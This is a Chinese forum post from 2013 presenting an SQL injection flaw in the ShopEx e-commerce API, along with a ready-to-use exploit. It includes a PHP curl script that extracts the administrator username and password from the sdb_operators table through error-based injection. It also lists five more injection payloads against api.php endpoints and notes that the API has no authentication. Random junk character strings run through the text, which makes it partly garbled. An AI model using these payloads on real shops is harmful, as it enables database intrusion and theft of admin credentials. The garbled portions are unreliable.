标题: shopEx最新版的API注入漏洞分析附利用exp [打印本页] 作者: admin 时间: 2013-7-27 18:34 标题: shopEx最新版的API注入漏洞分析附利用exp 缺陷文件：\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php: a0 E3 w* Z: n) j; l3 `7 Y
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php ( Q6 I+ ~# W3 U4 F( I. f' u9 K, ~6 Z* D; l |; ]
第44行 $data['columns'] 未做过滤导致注入; |9 z7 x- _- ]0 w3 v
! f* C4 i* i' A) ?- H- w<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入. 0 o# a( r/ w; ^' W1 G; i& {- w0 ~- c9 f4 h
注射1：' @) b! a8 _3 C: }; ]3 Z
7 K2 h. D+ F1 j, Nhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)# + _3 i, w6 H& g/ L+ Q1 m! z% n$ {" }9 s: @; {- h7 F1 Z3 \( w7 b
注射2：) i$ o }7 r$ @: q http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}. |. F$ w8 Q4 }7 L/ a7 ] n
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注射3： J- z1 L' n5 s) l3 i2 dhttp://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx7 s W, D A$ V* [3 T
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! Z# [2 Y: ^- g& l( [http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=15 e. v) o7 I6 |/ W3 g! n& T8 X
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注射5： 0 n) V. F1 u4 jhttp://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx; s7 q/ R I* d& _# {
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